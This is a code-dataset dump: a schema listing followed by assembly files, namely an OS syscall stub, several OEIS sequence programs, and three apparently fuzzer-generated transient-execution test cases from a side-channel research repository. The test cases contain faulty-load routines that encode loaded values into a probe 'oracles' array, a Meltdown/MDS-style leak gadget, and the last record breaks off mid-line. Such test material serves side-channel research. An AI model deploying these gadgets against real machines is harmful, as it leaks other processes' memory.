hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
3c3ae09d3a9996c283ed5192bbe9066237838437
172
asm
Assembly
src/lib/opendir.asm
zys1310992814/BookOSv0.2
7dca0f968663a0e6de18dd9b3e533d1e0412674f
[ "BSD-2-Clause" ]
3
2019-02-24T11:05:46.000Z
2019-02-26T03:20:50.000Z
src/lib/opendir.asm
zys1310992814/BookOSv0.2
7dca0f968663a0e6de18dd9b3e533d1e0412674f
[ "BSD-2-Clause" ]
null
null
null
src/lib/opendir.asm
zys1310992814/BookOSv0.2
7dca0f968663a0e6de18dd9b3e533d1e0412674f
[ "BSD-2-Clause" ]
null
null
null
[bits 32] [section .text] INT_VECTOR_SYS_CALL equ 0x80 _NR_OPENDIR EQU 17 global opendir opendir: mov eax, _NR_OPENDIR mov ebx, [esp + 4] int INT_VECTOR_SYS_CALL ret
13.230769
28
0.761628
165223c368ca6effc2d67763e815e3b9072eee33
5,703
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_2_676.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_2_676.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_2_676.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x208d, %rdx nop nop nop nop nop and %r15, %r15 mov $0x6162636465666768, %r11 movq %r11, (%rdx) nop nop nop nop nop inc %r10 lea addresses_A_ht+0xc3e5, %rsi lea addresses_WC_ht+0x8dad, %rdi nop nop nop nop nop xor %rbp, %rbp mov $79, %rcx rep movsl nop nop nop nop nop add $3828, %rsi lea addresses_UC_ht+0x1628d, %rdx cmp %rcx, %rcx mov (%rdx), %r15 nop cmp %r11, %r11 lea addresses_UC_ht+0x5b8d, %rdi nop nop nop nop sub %rsi, %rsi movl $0x61626364, (%rdi) nop nop xor $61065, %rbp lea addresses_WC_ht+0xd08d, %rbp nop nop and $43353, %rdx movw $0x6162, (%rbp) nop nop inc %rdx lea addresses_UC_ht+0x5a45, %rsi lea addresses_WC_ht+0x1d9f9, %rdi clflush (%rsi) nop nop nop nop dec %rbp mov $74, %rcx rep movsw nop nop nop and $39849, %rcx lea addresses_UC_ht+0x408d, %r10 nop nop nop nop nop add $32203, %rdx mov (%r10), %di nop inc %rsi lea addresses_WT_ht+0x104b3, %r15 nop nop nop nop xor %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm7 and $0xffffffffffffffc0, %r15 movaps %xmm7, (%r15) nop nop nop nop nop dec %r15 lea addresses_WT_ht+0xd50d, %rsi lea addresses_WT_ht+0x888d, %rdi nop nop nop nop add %r15, %r15 mov $20, %rcx rep movsb cmp $29126, %rcx lea addresses_D_ht+0xbb0d, %rbp cmp $31993, %r11 movb (%rbp), %r10b nop nop nop add $17586, %r11 lea addresses_A_ht+0xd88d, %rsi lea addresses_normal_ht+0x18a8d, %rdi nop nop nop sub $32255, %rdx mov $54, %rcx rep movsw nop inc %rbp lea addresses_WT_ht+0x1138d, %rsi lea addresses_WT_ht+0xc4d, %rdi nop nop nop nop nop dec %r10 mov $114, %rcx rep movsb nop nop nop sub %r11, %r11 lea addresses_D_ht+0x1a40d, %rsi nop nop nop nop nop inc %r15 movl $0x61626364, (%rsi) nop xor $41652, %r10 lea addresses_A_ht+0x862d, %rbp add $39216, %rcx vmovups (%rbp), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop sub %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax push %rcx push %rdi push %rdx // Store lea addresses_WT+0x448d, %rcx cmp $38806, %r13 mov $0x5152535455565758, %rdx movq %rdx, (%rcx) nop nop cmp $17108, %rdi // Store mov $0x5ec554000000048d, %rax and %r8, %r8 movl $0x51525354, (%rax) add $49852, %rax // Store lea addresses_A+0x1308d, %r8 nop nop cmp %r13, %r13 movb $0x51, (%r8) nop nop nop xor $44401, %rdi // Store mov $0x67535b000000048d, %rcx nop nop nop nop dec %r14 movb $0x51, (%rcx) inc %rax // Store lea addresses_A+0x1308d, %rdi nop nop nop nop dec %r13 movw $0x5152, (%rdi) dec %r14 // Faulty Load lea addresses_A+0x1308d, %rax clflush (%rax) nop nop sub %r14, %r14 mov (%rax), %dx lea oracles, %r13 and $0xff, %rdx shlq $12, %rdx mov (%r13,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'52': 2} 52 52 */
20.367857
152
0.647203
3b2408b3fc87cb9a4083a9ca973d887a09aa51f0
666
asm
Assembly
oeis/113/A113531.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/113/A113531.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/113/A113531.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A113531: a(n) = 1 + 2*n + 3*n^2 + 4*n^3 + 5*n^4 + 6*n^5. ; Submitted by Christian Krause ; 1,21,321,2005,7737,22461,54121,114381,219345,390277,654321,1045221,1604041,2379885,3430617,4823581,6636321,8957301,11886625,15536757,20033241,25515421,32137161,40067565,49491697,60611301,73645521,88831621,106425705,126703437,149960761,176514621,206703681,240889045,279454977,322809621,371385721,425641341,486060585,553154317,627460881,709546821,800007601,899468325,1008584457,1128042541,1258560921,1400890461,1555815265,1724153397,1906757601,2104516021,2318352921,2549229405,2798144137,3066134061 mov $2,$0 mov $3,6 lpb $3 mul $1,$2 add $1,$3 sub $3,1 lpe mov $0,$1
51.230769
498
0.792793
767bcf405e8a0bd98e9fd85a7025e3861089a91b
648
asm
Assembly
oeis/313/A313258.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/313/A313258.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/313/A313258.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A313258: Coordination sequence Gal.4.54.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,4,9,15,20,25,31,36,40,44,49,55,60,65,71,76,80,84,89,95,100,105,111,116,120,124,129,135,140,145,151,156,160,164,169,175,180,185,191,196,200,204,209,215,220,225,231,236,240,244 mov $1,$0 seq $1,315411 ; Coordination sequence Gal.4.78.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $0,7 sub $0,1 mod $0,$1 mul $2,3 add $0,$2 add $0,1
46.285714
181
0.733025
0a9662bd05a9833fc1c2f19aff712eaf75da93f8
546
asm
Assembly
oeis/138/A138338.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/138/A138338.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/138/A138338.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A138338: Primes of the form n^2+8. ; Submitted by Jamie Morken(w1) ; 17,89,233,449,1097,2609,3257,6569,7577,12329,13697,15137,16649,18233,19889,21617,23417,31337,35729,45377,47969,65033,77849,81233,99233,103049,106937,119033,123209,131777,159209,173897,216233,221849,227537 mov $1,9 mov $2,332202 mov $5,8 lpb $2 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,2 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 sub $5,12 add $5,$1 mov $6,$5 lpe mov $0,$5 add $0,1
22.75
206
0.673993
782c94d17c449b0296ea70b7e63852f7dc58aab1
614
asm
Assembly
oeis/213/A213688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/213/A213688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/213/A213688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A213688: a(n) = Sum_{i=0..n} A000129(i)^3. ; 0,1,9,134,1862,26251,369251,5196060,73113372,1028784997,14476099149,203694183170,2866194639170,40330419190351,567492063162119,7985219303802744,112360562315573112,1581033091723823881,22246823846444284881,313036566941955454910,4404758761033792545662,61979659221415118952787,872119987860845294059499,12271659489273249631294740,172675352837686339177342740,2429726599216882000419288301,34188847741874034339482145429,481073594985453362766604986554,6769219177538221113039515399162 lpb $0 mov $2,$0 sub $0,1 seq $2,110272 ; a(n) = Pell(n)^3. add $3,$2 lpe mov $0,$3
55.818182
475
0.838762
54f1bc4344172829ce66b2c4a8324e1736e11a21
415
asm
Assembly
programs/oeis/057/A057566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/057/A057566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/057/A057566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A057566: Number of collinear triples in a 3 X n rectangular grid. ; 0,1,2,8,20,43,78,130,200,293,410,556,732,943,1190,1478,1808,2185,2610,3088,3620,4211,4862,5578,6360,7213,8138,9140,10220,11383,12630,13966,15392,16913,18530,20248,22068,23995,26030,28178,30440,32821,35322 mov $2,$0 sub $0,1 mov $1,$2 mov $2,$0 lpb $2 lpb $0 sub $0,1 add $3,$2 add $1,$3 lpe trn $1,1 sub $2,1 trn $2,1 lpe
23.055556
206
0.66988
96cdc17ba98c6be39008e2e34d13b2841f78ffe7
6,280
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_959.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_959.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_959.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0xcef1, %r15 nop nop add $50172, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%r15) cmp $18303, %r12 lea addresses_UC_ht+0x10901, %rsi lea addresses_D_ht+0x8a5d, %rdi nop nop xor %rax, %rax mov $123, %rcx rep movsb nop nop sub %r13, %r13 lea addresses_D_ht+0x9885, %rsi lea addresses_A_ht+0x1c081, %rdi nop and $25901, %rax mov $79, %rcx rep movsb nop nop nop add %r10, %r10 lea addresses_WC_ht+0x13e91, %rsi lea addresses_A_ht+0xad0c, %rdi nop nop nop nop nop sub $16535, %rax mov $122, %rcx rep movsl nop xor $19060, %rcx lea addresses_UC_ht+0x3439, %rsi lea addresses_A_ht+0x2e01, %rdi nop nop nop and %rax, %rax mov $111, %rcx rep movsb add $26826, %r12 lea addresses_WT_ht+0x12595, %rax cmp $51280, %rdi mov (%rax), %r15w nop nop nop cmp $28618, %rax lea addresses_WC_ht+0xf2e1, %rdi clflush (%rdi) dec %r13 mov (%rdi), %r12w add %r10, %r10 lea addresses_normal_ht+0x3701, %rsi clflush (%rsi) nop nop nop nop inc %r15 movups (%rsi), %xmm1 vpextrq $0, %xmm1, %rax nop nop nop nop nop and %rax, %rax lea addresses_WC_ht+0x3a01, %rsi lea addresses_D_ht+0xe9ab, %rdi nop nop nop cmp $26515, %r12 mov $53, %rcx rep movsl nop nop nop nop add $786, %r13 pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rax push %rbx push %rsi // Faulty Load lea addresses_RW+0x8a01, %rax clflush (%rax) nop nop nop nop dec %r10 mov (%rax), %ebx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rbx pop %rax pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
40
2,999
0.66051
b1170f23a12791d0f6c7c525b0094293f79f32d4
6,455
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_586.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_586.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_586.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x6921, %rax nop nop nop nop nop sub $33753, %r8 movl $0x61626364, (%rax) nop nop xor %rcx, %rcx lea addresses_UC_ht+0x14121, %rsi lea addresses_WC_ht+0xf161, %rdi nop nop nop nop add %rdx, %rdx mov $78, %rcx rep movsq nop xor $9660, %r15 lea addresses_WC_ht+0xeb21, %rcx nop nop nop nop nop add $43662, %rsi vmovups (%rcx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdx nop nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi // Store mov $0x35, %r15 nop add %rsi, %rsi mov $0x5152535455565758, %rbx movq %rbx, (%r15) nop nop nop nop and %rdi, %rdi // Store lea addresses_PSE+0x112a1, %rsi nop nop nop dec %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm3 vmovups %ymm3, (%rsi) nop nop nop and $1820, %rdi // Store lea addresses_PSE+0x55a1, %rdx xor $56430, %rcx movl $0x51525354, (%rdx) add %r12, %r12 // Store lea addresses_normal+0xfd21, %rdx nop nop nop and %r15, %r15 mov $0x5152535455565758, %rsi movq %rsi, %xmm5 movups %xmm5, (%rdx) add $41285, %rcx // Store lea addresses_US+0x10911, %rsi clflush (%rsi) nop nop nop xor %rdx, %rdx movl $0x51525354, (%rsi) nop nop nop nop nop cmp $25529, %rdi // Load lea addresses_UC+0x1de61, %rsi nop nop nop nop nop and %r12, %r12 mov (%rsi), %rdi nop nop cmp %r15, %r15 // Store lea addresses_US+0x6921, %r15 nop nop nop nop add %rdi, %rdi movb $0x51, (%r15) nop nop nop nop xor $3638, %rsi // Faulty Load lea addresses_WT+0xbd21, %rdx nop sub %r15, %r15 mov (%rdx), %di lea oracles, %r12 and $0xff, %rdi shlq $12, %rdi mov (%r12,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 